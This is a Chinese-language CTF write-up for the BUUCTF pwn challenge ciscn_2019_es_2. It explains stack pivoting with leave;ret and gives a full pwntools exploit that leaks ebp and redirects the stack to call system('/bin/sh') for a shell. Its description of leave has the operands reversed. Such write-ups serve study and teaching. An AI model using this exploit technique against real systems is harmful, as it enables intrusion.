[BUUCTF-pwn]——ciscn_2019_es_2(内涵peak小知识)

[BUUCTF-pwn]——ciscn_2019_es_2

• 题目地址: https://buuoj.cn/challenges#ciscn_2019_es_2
  • 这是一道栈劫持的题,第一次写这种题的题解写的详细一点。

peak小知识

栈劫持也可以称为栈迁移，用来解决栈本身可以利用的空间不够用，一般是溢出空间不够用,没办法有效构造rop链。这个时候我们可以通过劫持ebp的方式，利用leave 和 ret两个汇编指令来做到栈劫持(栈迁移)。

leave 等价于 mov ebp, esp; pop ebp;
ret 等价于 pop eip;

下面我来通过这道例题来详细讲解一下。

讲解

老规矩先checksec 一下

在IDA中查看一下,main函数没有什么。

在vul函数中, 0x30 - 0x28 = 8，意味着我们只可以覆盖ebp和返回地址, 可利用栈空间不足

那么我们就可以将rop链写到栈上,再将栈劫持到我们写的地方就可以了。
首先我们需要泄露出来一个地址,然后计算偏移来确认我们需要劫持的地址。
所以我们可以先将exploit先这样写出来, leave;ret;指令可以在IDA中找,也可以用ROPgadget查找。其实我们是执行了两次 leave;ret;一次是函数结束时自己调用的一次是我们设置的返回地址，第一次主要是leave指令目的是改变ebp的值，第二次目的是ret指令,执行我们劫持到的地址

from pwn import *
#p = remote("node3.buuoj.cn",27236)
p = process("./ciscn_2019_es_2")
gdb.attach(p, "b *0x080485FC") #我喜欢断点设置在leave前
sys_addr = 0x8048400
leave_ret = 0x080484b8
payload = 'a' * 0x27 + 'p'
p.send(payload)
p.recvuntil('p')
ebp = u32(p.recv(4))
print hex(ebp)
payload = (this'+p32(sys_addr)+'aaaa'+'that'+'/bin/sh\x00').ljust(0x28,'p')
payload += p32(0) + p32(leave_ret)
p.send(payload)
p.interactive()

其中,this的地址是我们需要劫持到的地址,这样sys_addr就可以作为返回地址来执行了。that是我们需要寻找的’/bin/sh’字符串的地址。

在pwndbg中找到偏移, distance第一个数值,是泄露的ebp地址, 可以在终端查看

所以最终的exploit为

exploit

from pwn import *
#p = remote("node3.buuoj.cn",27236)
p = process("./ciscn_2019_es_2")
#gdb.attach(p, "b *0x080485FC")
sys_addr = 0x8048400
leave_ret = 0x080484b8
payload = 'a' * 0x27 + 'p'
p.send(payload)
p.recvuntil('p')
ebp = u32(p.recv(4))
print hex(ebp)
payload = ('this'+p32(sys_addr)+'aaaa'+p32(ebp-0x28)+'/bin/sh\x00').ljust(0x28,'p')+p32(ebp-0x38) + p32(leave_ret)
                                      #指向'/bin/sh' 								#指向this,也就是我们栈劫持的地方
p.send(payload)
p.interactive()